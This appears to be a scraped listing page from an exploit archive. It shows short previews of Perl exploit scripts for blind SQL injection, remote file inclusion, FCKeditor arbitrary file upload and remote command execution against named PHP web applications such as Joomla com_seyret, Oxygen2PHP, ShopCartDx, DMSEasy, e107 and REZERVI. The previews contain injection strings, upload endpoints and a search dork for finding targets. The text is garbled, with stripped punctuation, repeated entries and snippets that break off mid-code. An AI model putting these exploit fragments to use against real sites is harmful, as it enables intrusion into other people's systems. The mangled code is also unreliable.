CVE-2010-2253

lwp-download in libwww-perl before 5.835 does not reject downloads to filenames that begin with a . dot character, which allows remote servers to create or overwrite files via 1 a 3xx redirect to a URL with a crafted filename or 2 a Content-Disposition header that suggests a crafted filename, and...

Joomla! Component com_seyret - Blind SQL Injection

Joomla! Component comseyret - Blind SQL Injection 1 1 0 I'm RoAdKiLlEr member from Inj3ct0r Team 1 1 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 +Title :Joomla Component comseyret Blind SQL Injection Exploit +Author :RoAdKiLlEr +Contact :RoAdKiLlEratKhg-CrewdotWs...

Joomla! Component com_seyret - Blind SQL Injection

1 1 0 I'm RoAdKiLlEr member from Inj3ct0r Team 1 1 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 +Title :Joomla Component comseyret Blind SQL Injection Exploit +Author :RoAdKiLlEr +Contact :RoAdKiLlEratKhg-CrewdotWs +Tested on :Win Xp Sp 2/3...

Oxygen2PHP 1.1.3 - post.php Blind SQL Injection

Oxygen2PHP 1.1.3 - post.php Blind SQL Injection !/usr/bin/perl 0-Day Oxygen2PHP newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return...

Oxygen2PHP 1.1.3 - 'forumdisplay.php' Blind SQL Injection

!/usr/bin/perl 0-Day Oxygen2PHP newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./forumdisplay.php?fid=-1'+OR+1!=SELECT...

ShopCartDx <= v4.30 (product_detail.php) Blind SQL Injection Exploit

Exploit for php platform in category web applications ==================================================================== ShopCartDx newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://www.warwolfz.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = ...

Oxygen2PHP <= 1.1.3 (forumdisplay.php) Blind SQL Injection Exploit

Exploit for php platform in category web applications ================================================================== Oxygen2PHP newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$h...

Oxygen2PHP <= 1.1.3 (member.php) Blind SQL Injection Exploit

Exploit for php platform in category web applications ============================================================ Oxygen2PHP 'Mozilla/5.0', maxredirect = 0, cookiejar = $Cookies, or die $!; my $Get = $UserAgent-get$HostName.SQLInjection$UserName; if$Get-content = /0-91,5 : a-zA-Z0-9-.2,15 :...

ShopCartDx 4.30 - 'products.php' Blind SQL Injection

!/usr/bin/perl 0-Day ShopCartDx /trafficdemos/shopcartdx1/ my $MemberID = shift or my $Method = HTTP::Request-newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://www.warwolfz.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return...

PHPortal 1.2 - 'gunaysoft.php' Remote File Inclusion

Tilte: phportal1.2 gunaysoft.php Remote File Include Vulnerability Author..................: Ma3sTr0-Dz Location ...............: ALGERIA Software ...............: phportal1.2 Impact..................: Remote Advisory ...............: exploit-db.com Site Software ..........:...

DMSEasy0.9.7 (fckeditor) Arbitrary File Upload

Exploit for php platform in category web applications ============================================== DMSEasy0.9.7 fckeditor Arbitrary File Upload ============================================== !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print...

DMSEasy 0.9.7 - FCKeditor Arbitrary File Upload

DMSEasy 0.9.7 - FCKeditor Arbitrary File Upload !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST...

DMSEasy 0.9.7 - 'FCKeditor' Arbitrary File Upload

!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST $url.'/FCKeditor/editor/filemanager/upload/php/upload.php', ContentType =...

YourArcadeScript v2.0b1 Blind SQL Injection

Exploit for php platform in category web applications ========================================================= YourArcadeScript v2.0b1 Blind SQL Injection Vulnerability ========================================================= !/usr/bin/perl use LWP::UserAgent; use HTTP::Request::Common qwPOST;...

e107 Code Execution

Exploit Title: e107 Code Exec Date: 05/22/10 Author: [email protected] Software Link: http://e107.org/edownload.php Version: e107 agent"Mozilla/5.0"; if $proxy print " Using proxy $proxy \n"; $ua-envproxy'1'; my $req = new HTTP::Request POST = $path;...

IMEDIA - index.php SQL Injection

IMEDIA - index.php SQL Injection Exploit Titre: IMEDIA index.php SQL Injection Vulnerability Date: 19-05-2010 Auteur: Kannibal615 Link Software: N/A Version: N/A Testé sur: ALL CVE: N/A Code: DORK : Powered by: Con-Imedia !usr/bin/perl -w use HTTP::Request; use LWP::UserAgent; system "cls"; print...

IMEDIA - 'index.php' SQL Injection

Exploit Titre: IMEDIA index.php SQL Injection Vulnerability Date: 19-05-2010 Auteur: Kannibal615 Link Software: N/A Version: N/A Testé sur: ALL CVE: N/A Code: DORK : Powered by: Con-Imedia !usr/bin/perl -w use HTTP::Request; use LWP::UserAgent; system "cls"; print "\n"; print " @@ @@ @@@@@@ @@ @@...

REZERVI 3.0.2 (root) Remote Command Execution Exploit

Exploit for php platform in category web applications ===================================================== REZERVI 3.0.2 root Remote Command Execution Exploit ===================================================== !/usr/bin/perl...

REZERVI 3.0.2 - Remote Command Execution

REZERVI 3.0.2 - Remote Command Execution !/usr/bin/perl 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 +...

REZERVI 3.0.2 - Remote Command Execution

!/usr/bin/perl 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 + Site : Inj3ct0r.com 0 1 + Support e-mail...